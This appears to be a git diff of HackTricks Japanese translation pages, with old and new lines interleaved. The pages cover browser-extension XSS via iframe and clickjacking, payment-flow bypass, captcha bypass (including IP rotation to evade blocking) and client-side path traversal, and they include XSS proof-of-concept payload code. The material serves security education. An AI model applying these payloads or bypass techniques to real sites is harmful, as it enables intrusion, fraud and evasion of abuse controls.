* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## Cross-Site Scripting (XSS) through Iframe
## Iframeを通じたクロスサイトスクリプティングXSS
このセットアップでは、**コンテンツスクリプト**が実装され、クエリパラメータを含むURLをIframeのソースとして取り込んだIframeがインスタンス化されます:
このセットアップでは、**コンテンツスクリプト**が実装され、Iframeをインスタンス化し、Iframeのソースとしてクエリパラメータを含むURLを組み込んでいます:
```javascript
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
@ -25,7 +26,7 @@ let constructedURL = chrome.runtime.getURL("message.html") +
frame.src = constructedURL;
});
```
以下は、ファイル**`message.html`**にアクセス可能なHTMLページで、URLのパラメータに基づいて動的にコンテンツをドキュメントボディに追加するように設計されています:
公開アクセス可能なHTMLページ、**`message.html`**は、URLのパラメータに基づいてドキュメントボディにコンテンツを動的に追加するように設計されています:
```javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
@ -37,7 +38,7 @@ chrome.tabs.create({ url: destinationURL });
});
});
```
悪意のあるスクリプトが敵対者のページで実行され、Iframeのソースの`content`パラメータが変更され、**XSSペイロード**が導入されます。これは、有害なスクリプトを含むようにIframeのソースを更新することで達成されます:
悪意のあるスクリプトが敵のページで実行され、Iframeのソースの`content`パラメータが変更されて**XSSペイロード**が導入されます。これは、Iframeのソースを更新して有害なスクリプトを含めることで達成されます:
```javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
@ -48,24 +49,24 @@ let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
```
過度に許可されたContent Security Policyは次のようなものです:
過度に許可されたコンテンツセキュリティポリシーは次のようになります:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
以下は、JavaScriptの実行を許可し、システムをXSS攻撃に対して脆弱にすることができます。
JavaScriptの実行を許可し、システムをXSS攻撃に対して脆弱にます。
XSSを引き起こす別のアプローチは、Iframe要素を作成し、そのソースを`content`パラメータとして有害なスクリプトを含ることです:
XSSを引き起こすための別のアプローチは、IFrame要素を作成し、そのソースを`content`パラメータとして有害なスクリプトを含むように設定することです:
```javascript
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
```
## DOM-based XSS + ClickJacking
## DOMベースのXSS + ClickJacking
この例は、[元の投稿の解説](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)から取得されました。
この例は、[元の投稿の要約](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)から取れました。
問題の核となるのは、**`/html/bookmarks.html`**にあるDOMベースのクロスサイトスクリプティングXSS脆弱性です。問題のJavaScriptは、**`bookmarks.js`**の一部で以下に詳細が記載されています。
核心的な問題は、**`/html/bookmarks.html`**にあるDOMベースのクロスサイトスクリプティングXSS脆弱性から生じます。問題のあるJavaScriptは、**`bookmarks.js`**の一部で、以下に詳述されています:
```javascript
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
@ -82,13 +83,13 @@ $('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
```
このコードスニペットは、**`txtName`** 入力フィールドから **`value`** を取得し、HTML を生成するために文字列連結を使用し、それをjQueryの `.append()` 関数を使ってDOMに追加します。
このスニペットは、**`txtName`** 入力フィールドから **値** を取得し、**文字列連結を使用してHTMLを生成** し、それをjQueryの `.append()` 関数を使用してDOMに追加します。
通常、Chrome 拡張機能のコンテンツセキュリティポリシーCSPはこのような脆弱性を防ぎます。ただし、**'unsafe-eval' でのCSP緩和**とjQueryのDOM操作メソッドの使用これはDOM挿入時にスクリプトを [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) に渡すために [`globalEval()`](https://api.jquery.com/jquery.globaleval/) を使用)により、依然として攻撃が可能です。
通常、Chrome拡張機能のコンテンツセキュリティポリシー (CSP) はそのような脆弱性を防ぎます。しかし、**unsafe-evalによるCSPの緩和** とjQueryのDOM操作メソッドの使用これはDOM挿入時にスクリプトを [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) に渡すために [`globalEval()`](https://api.jquery.com/jquery.globaleval/) を使用します)により、悪用は依然として可能です。
この脆弱性は重要ですが、その悪用は通常、ユーザーの操作に依存します:ページを訪れ、XSS ペイロードを入力し、「追加」ボタンをアクティブ化する必要があります。
この脆弱性は重要ですが、その悪用は通常、ユーザーの操作に依存します:ページを訪問し、XSSペイロードを入力し、「追加」ボタンをアクティブにします。
この脆弱性を強化するために、二次的な **clickjacking** 脆弱性が悪用されます。Chrome 拡張機能のマニフェストは、広範な `web_accessible_resources` ポリシーが示されています:
この脆弱性を強化するために、二次的な **clickjacking** 脆弱性が悪用されます。Chrome拡張機能のマニフェストは、広範な `web_accessible_resources` ポリシーを示しています:
```json
"web_accessible_resources": [
"html/bookmarks.html",
@ -98,23 +99,24 @@ persistData();
[...]
],
```
Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerable to **clickjacking**. This vulnerability is leveraged to frame the page within an attackers site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally.
特に、**`/html/bookmarks.html`** ページはフレーミングに対して脆弱であり、したがって**clickjacking**に対しても脆弱です。この脆弱性は、攻撃者のサイト内でページをフレーム化し、DOM要素でオーバーレイしてインターフェースを巧妙に再設計するために利用されます。この操作により、被害者は意図せずに基盤となる拡張機能と相互作用することになります。
## References
## 参考文献
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricksをサポートする</summary>
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# 支払いプロセスのバイパス
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使用して、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で **@carlospolopm**をフォローする**。
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
**Try Hard Security Group**
@ -24,30 +25,51 @@ HackTricks をサポートする他の方法:
## 支払いバイパステクニック
### リクエストのインターセプト
取引プロセス中、クライアントとサーバー間で交換されるデータを監視することが重要です。これはすべてのリクエストをインターセプトすることで行うことができます。これらのリクエストの中で、次のような重要な影響を持つパラメータに注意してください:
### リクエストの傍受
取引プロセス中、クライアントとサーバー間で交換されるデータを監視することが重要です。これはすべてのリクエストを傍受することで行えます。これらのリクエスト内で、重要な意味を持つパラメータに注意してください。例えば:
- **Success**: このパラメータは、取引の状態を示すことがよくあります。
- **Referrer**: リクエストの元のソースを指すことがあります。
- **Success**: このパラメータは、取引のステータスを示すことがよくあります。
- **Referrer**: リクエストがどこから発信されたかを示す場合があります。
- **Callback**: これは通常、取引が完了した後にユーザーをリダイレクトするために使用されます。
### URL分析
特に _example.com/payment/MD5HASH_ のパターンに従うURLを含むパラメータに遭遇した場合、これを詳しく調べる必要があります。以下はステップバイステップのアプローチです:
### URL分析
URLを含むパラメータに遭遇した場合、特に_pattern_ _example.com/payment/MD5HASH_の形式に従うものは、より詳細な検査が必要です。以下はステップバイステップのアプローチです
1. **URLをコピー**: パラメータ値からURLを抽出します。
2. **新しいウィンドウで検査**: コピーしたURLを新しいブラウザウィンドウで開きます。このアクションは、取引の結果を理解するために重要です。
2. **新しいウィンドウで検査**: コピーしたURLを新しいブラウザウィンドウで開きます。このアクションは、取引の結果を理解するために重要です。
### パラメータ操作
1. **パラメータ値を変更**: _Success_、_Referrer_、または _Callback_ などのパラメータの値を変更して実験してみてください。たとえば、パラメータを `false` から `true` に変更すると、システムがこれらの入力をどのように処理するかがわかることがあります。
2. **パラメータを削除**: 特定のパラメータを完全に削除して、システムがどのように反応するかを確認してみてください。期待されるパラメータが欠落している場合、一部のシステムにはフォールバックやデフォルトの動作があるかもしれません。
### パラメータ操作
1. **パラメータ値を変更**: _Success_、_Referrer_、または _Callback_ のようなパラメータの値を変更して実験します。例えば、パラメータを`false`から`true`に変更すると、システムがこれらの入力をどのように処理するかが明らかになることがあります。
2. **パラメータを削除**: 特定のパラメータを完全に削除して、システムがどのように反応するかを確認します。一部のシステムは、期待されるパラメータが欠落している場合にフォールバックやデフォルトの動作を持っているかもしれません。
### Cookieの改ざん
1. **Cookieの調査**: 多くのウェブサイトは重要な情報をCookieに保存しています。これらのCookieを支払い状況やユーザー認証に関連するデータを調査してください
2. **Cookieの値を変更**: Cookieに保存されている値を変更し、ウェブサイトの応答や動作がどのように変化するかを観察してください
### クッキー改ざん
1. **クッキーを調査**: 多くのウェブサイトは、クッキーに重要な情報を保存します。支払いステータスやユーザー認証に関連するデータがないか、これらのクッキーを調査します
2. **クッキー値を変更**: クッキーに保存されている値を変更し、ウェブサイトの応答や動作がどのように変わるかを観察します
### セッションハイジャック
1. **セッショントークン**: 支払いプロセスでセッショントークンが使用されている場合、それをキャプチャして操作してみてください。これにより、セッション管理の脆弱性に関する洞察が得られるかもしれません。
1. **セッショントークン**: 支払いプロセスでセッショントークンが使用されている場合、それをキャプチャして操作してみてください。これにより、セッション管理の脆弱性に関する洞察が得られるかもしれません。
### レスポンスの改ざん
1. **レスポンスのインターセプト**: ツールを使用してサーバーからのレスポンスをインターセプトして分析します。成功した取引を示す可能性のあるデータや支払いプロセスの次のステップを示す可能性のあるデータを探してください。
2. **レスポンスの変更**: ブラウザやアプリケーションに処理される前に、レスポンスを変更して成功した取引シナリオをシミュレートしてみてください。
### 応答改ざん
1. **応答を傍受**: ツールを使用してサーバーからの応答を傍受し、分析します。成功した取引を示すデータや支払いプロセスの次のステップを明らかにするデータを探します。
2. **応答を変更**: ブラウザやアプリケーションによって処理される前に応答を変更し、成功した取引シナリオをシミュレートしようとします。
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,49 +1,64 @@
# Captcha Bypass
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Captcha Bypass
**サーバーテスト**中のcaptchaを**バイパス**してユーザー入力機能を自動化するために、さまざまなテクニックを使用できます。目的はセキュリティを妨害することではなく、テストプロセスを効率化することです。以下は戦略の包括的なリストです:
**サーバーテスト**中にキャプチャを**バイパス**し、ユーザー入力機能を自動化するために、さまざまな技術を使用できます。目的はセキュリティを損なうことではなく、テストプロセスを効率化することです。以下は戦略の包括的なリストです:
1. **パラメータ操作**
* **Captchaパラメータを省略**captchaパラメータを送信しないようにします。HTTPメソッドをPOSTからGETに変更したり、他の動詞に変更したり、フォームデータとJSONの間を切り替えるなど、データ形式を変更して実験します
* **空のCaptchaを送信**captchaパラメータを空のままにしてリクエストを送信します
1. **パラメータ操作**:
* **キャプチャパラメータを省略**: キャプチャパラメータを送信しない。HTTPメソッドをPOSTからGETや他の動詞に変更したり、データ形式を変更したり、フォームデータとJSONの間で切り替えたりしてみる
* **空のキャプチャを送信**: キャプチャパラメータを含めてリクエストを送信するが、空のままにする
2. **値の抽出と再利用**
* **ソースコードの検査**ページのソースコード内でcaptchaの値を検索します。
* **Cookieの分析**cookieを調査して、captchaの値が保存および再利用されているかどうかを確認します
* **古いCaptchaの値を再利用**以前に成功したcaptchaの値を再利用しようとします。ただし、いつ期限切れになるかを考慮してください
* **セッションの操作**同じcaptchaの値を異なるセッションまたは同じセッションIDで使用しようとします
2. **値の抽出と再利用**:
* **ソースコードの検査**: ページのソースコード内でキャプチャ値を探す。
* **クッキー分析**: クッキーを調べて、キャプチャ値が保存され再利用されているか確認する
* **古いキャプチャ値の再利用**: 以前に成功したキャプチャ値を再度使用してみる。ただし、いつでも期限切れになる可能性があることに注意
* **セッション操作**: 異なるセッションや同じセッションIDで同じキャプチャ値を使用してみる
3. **自動化と認識**
* **数学的なCaptcha**captchaに数学演算が関与している場合、計算プロセスを自動化します
* **画像認識**
* 画像から文字を読み取る必要があるcaptchaの場合、一意の画像の総数を手動またはプログラムで特定します。セットが限られている場合、各画像をそのMD5ハッシュによって識別できるかもしれません
* [Tesseract OCR](https://github.com/tesseract-ocr/tesseract)などのOptical Character RecognitionOCRツールを使用して、画像からの文字読み取りを自動化します。
3. **自動化と認識**:
* **数学的キャプチャ**: キャプチャが数学的操作を含む場合、計算プロセスを自動化する
* **画像認識**:
* 画像から文字を読み取る必要があるキャプチャの場合、手動またはプログラムでユニークな画像の総数を特定する。セットが限られている場合、各画像をMD5ハッシュで識別できるかもしれない
* [Tesseract OCR](https://github.com/tesseract-ocr/tesseract)のような光学文字認識OCRツールを利用して、画像からの文字読み取りを自動化す
4. **追加のテクニック**
* **レート制限テスト**:アプリケーションが一定期間内の試行回数または提出回数を制限しているかどうか、およびこの制限をバイパスまたはリセットできるかどうかを確認します。
* **サードパーティサービス**自動化されたcaptcha認識と解決を提供するcaptcha解決サービスやAPIを利用します
* **セッションとIPのローテーション**サーバーによる検出とブロックを回避するために、セッションIDとIPアドレスを頻繁に変更します
* **User-Agentおよびヘッダーの操作**User-Agentおよび他のリクエストヘッダーを変更して、異なるブラウザやデバイスを模倣します。
* **音声Captchaの分析**音声Captchaオプションが利用可能な場合、音声からテキストへのサービスを使用してCaptchaを解釈および解決します
4. **追加技術**:
* **レート制限テスト**: アプリケーションが特定の時間内に試行や送信の回数を制限しているか、またこの制限をバイパスまたはリセットできるか確認す
* **サードパーティサービス**: 自動キャプチャ認識と解決を提供するキャプチャ解決サービスやAPIを利用する
* **セッションとIPのローテーション**: サーバーによる検出やブロックを避けるために、セッションIDやIPアドレスを頻繁に変更する
* **ユーザーエージェントとヘッダー操作**: ユーザーエージェントや他のリクエストヘッダーを変更して、異なるブラウザやデバイスを模倣す
* **音声キャプチャ分析**: 音声キャプチャオプションが利用可能な場合、音声からテキストへのサービスを使用してキャプチャを解釈し解決する
## Captchaを解決するためのオンラインサービス
## Online Services to solve captchas
### [Capsolver](https://www.capsolver.com/)
Capsolverの自動captchaソルバーは**手頃で迅速なcaptcha解決策**を提供します。簡単な統合オプションを使用してプログラムに迅速に組み込むことができ、数秒で最良の結果を得ることができます。reCAPTCHA V2およびV3、hCaptcha、FunCaptcha、datadome、aws captcha、picture-to-text、binance / coinmarketcap captcha、geetest v3などを解決できます。ただし、これは直接のバイパスではありません。
Capsolverの自動キャプチャ解決ツールは、**手頃で迅速なキャプチャ解決ソリューション**を提供します。シンプルな統合オプションを使用してプログラムに迅速に組み合わせることで、数秒で最良の結果を得ることができます。reCAPTCHA V2およびV3、hCaptcha、FunCaptcha、datadome、aws captcha、画像からテキストへの変換、binance / coinmarketcap captcha、geetest v3などを解決できます。ただし、これは本質的なバイパスではありません。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,23 +1,39 @@
# クライアントサイドパストラバーサル
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
## 基本情報
クライアントサイドパストラバーサルは、**URLのパスを操作できる**ときに発生します。そのURLは、ユーザーが**正当な方法で訪れるために送信される**か、ユーザーが**例えばJSやCSS経由で強制的に訪れる**可能性があります。
クライアントサイドパストラバーサルは、**ユーザーが正当な方法で訪れるために送信されるURLのパスを操作できる**場合や、ユーザーが**JSやCSSを介して強制的に訪れることになる**場合に発生します。
[**この解説**](https://erasec.be/blog/client-side-path-manipulation/)では、**招待URLを変更**して**カードをキャンセル**することが可能でした。
[**このレポート**](https://erasec.be/blog/client-side-path-manipulation/)では、**招待URLを変更することが可能**で、結果的に**カードをキャンセルする**ことができました。
[**この解説**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html)では、**クライアントサイドパストラバーサルをCSS経由で組み合わせることが可能**でありCSSリソースが読み込まれるパスを変更することができました、**オープンリダイレクト**を組み合わせて、CSSリソースを**攻撃者が制御するドメインから読み込む**ことができました。
[**このレポート**](https://mr-medi.github.io/research/2022/11/04/practical-client-side-path-traversal-attacks.html)では、**CSSを介したクライアントサイドパストラバーサル**CSSリソースが読み込まれるパスを変更することが可能と**オープンリダイレクト**を組み合わせて、**攻撃者が制御するドメイン**からCSSリソースを読み込むことができました。
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,25 +1,30 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のgithubリポジトリに
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
A configuration such as:
次のような設定:
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
